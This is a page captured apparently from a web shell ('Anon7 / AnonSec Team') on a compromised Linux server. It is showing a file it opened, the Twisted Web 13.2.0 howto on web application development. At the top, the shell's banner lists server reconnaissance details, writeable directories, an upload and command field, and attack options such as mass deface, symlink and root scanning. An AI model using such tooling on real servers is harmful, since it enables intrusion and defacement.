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/  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/python-twisted-web/howto/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /usr/share/doc/python-twisted-web/howto/web-development.html
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE html  PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN'  'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'><html lang="en" xmlns="http://www.w3.org/1999/xhtml">
  <head>
<title>Twisted Documentation: Web Application Development</title>
<link href="stylesheet.css" rel="stylesheet" type="text/css"/>
  </head>

  <body bgcolor="white">
    <h1 class="title">Web Application Development</h1>
    <div class="toc"><ol><li><a href="#auto0">Code layout</a></li><li><a href="#auto1">Web application deployment</a></li><li><a href="#auto2">Understanding resource scripts (.rpy files)</a></li></ol></div>
    <div class="content">
<span/>

<h2>Code layout<a name="auto0"/></h2>

<p>The development of a Twisted Web application should be orthogonal to its
deployment.  This means is that if you are developing a web application, it
should be a resource with children, and internal links.  Some of the children
might use <a href="https://launchpad.net/nevow" shape="rect">Nevow</a>, some
might be resources manually using <code>.write</code>, and so on.  Regardless,
the code should be in a Python module, or package, <em>outside</em> the web
tree.</p>

<p>You will probably want to test your application as you develop it.  There are
many ways to test, including dropping an <code>.rpy</code> which looks
like:</p>

<pre class="python"><p class="py-linenumber">1
2
</p><span class="py-src-keyword">from</span> <span class="py-src-variable">mypackage</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">toplevel</span>
<span class="py-src-variable">resource</span> = <span class="py-src-variable">toplevel</span>.<span class="py-src-variable">Resource</span>(<span class="py-src-variable">file</span>=<span class="py-src-string">&quot;foo/bar&quot;</span>, <span class="py-src-variable">color</span>=<span class="py-src-string">&quot;blue&quot;</span>)
</pre>

<p>into a directory, and then running:</p>

<pre class="shell" xml:space="preserve">
% twistd web --path=/directory
</pre>

<p>You can also write a Python script like:</p>

<pre class="python"><p class="py-linenumber">1
2
3
4
5
6
7
8
9
</p><span class="py-src-comment">#!/usr/bin/env python</span>

<span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">web</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">server</span>
<span class="py-src-keyword">from</span> <span class="py-src-variable">twisted</span>.<span class="py-src-variable">internet</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">reactor</span>
<span class="py-src-keyword">from</span> <span class="py-src-variable">mypackage</span> <span class="py-src-keyword">import</span> <span class="py-src-variable">toplevel</span>

<span class="py-src-variable">reactor</span>.<span class="py-src-variable">listenTCP</span>(<span class="py-src-number">8080</span>,
    <span class="py-src-variable">server</span>.<span class="py-src-variable">Site</span>(<span class="py-src-variable">toplevel</span>.<span class="py-src-variable">Resource</span>(<span class="py-src-variable">file</span>=<span class="py-src-string">&quot;foo/bar&quot;</span>, <span class="py-src-variable">color</span>=<span class="py-src-string">&quot;blue&quot;</span>)))
<span class="py-src-variable">reactor</span>.<span class="py-src-variable">run</span>()
</pre>

<h2>Web application deployment<a name="auto1"/></h2>

<p>Which one of these development strategies you use is not terribly important,
since (and this is the important part) deployment is <em>orthogonal</em>.
Later, when you want users to actually <em>use</em> your code, you should worry
about what to do -- or rather, don't.  Users may have widely different needs.
Some may want to run your code in a different process, so they'll use
distributed web (<code class="API"><a href="http://twistedmatrix.com/documents/13.2.0/api/twisted.web.distrib.html" title="twisted.web.distrib">twisted.web.distrib</a></code>).  Some may be
using the <code>twisted-web</code> Debian package, and will drop in:</p>

<pre class="shell" xml:space="preserve">
% cat &gt; /etc/local.d/99addmypackage.py
from mypackage import toplevel
default.putChild(&quot;mypackage&quot;, toplevel.Resource(file=&quot;foo/bar&quot;, color=&quot;blue&quot;))
^D
</pre>

<p>If you want to be friendly to your users, you can supply many examples in
your package, like the above <code>.rpy</code> and the Debian-package drop-in.
But the <em>ultimate</em> friendliness is to write a useful resource which does
not have deployment assumptions built in.</p>

<h2>Understanding resource scripts (<code>.rpy</code> files)<a name="auto2"/></h2>

<p>Twisted Web is not PHP -- it has better tools for organizing code Python
modules and packages, so use them.  In PHP, the only tool for organizing code is
a web page, which leads to silly things like PHP pages full of functions that
other pages import, and so on.  If you were to write your code this way with
Twisted Web, you would do web development using many <code>.rpy</code> files,
all importing some Python module. This is a <em>bad idea</em> -- it mashes
deployment with development, and makes sure your users will be <em>tied</em> to
the file-system.</p>

<p>We have <code>.rpy</code>s because they are useful and necessary.
But using them incorrectly leads to horribly unmaintainable
applications.  The best way to ensure you are using them correctly is
to not use them at all, until you are on your <em>final</em>
deployment stages.  You should then find your <code>.rpy</code> files
will be less than 10 lines, because you will not <em>have</em> more
than 10 lines to write.</p>

</div>

    <p><a href="index.html">Index</a></p>
    <span class="version">Version: 13.2.0</span>
  </body>
</html>

Anon7 - 2022
AnonSec Team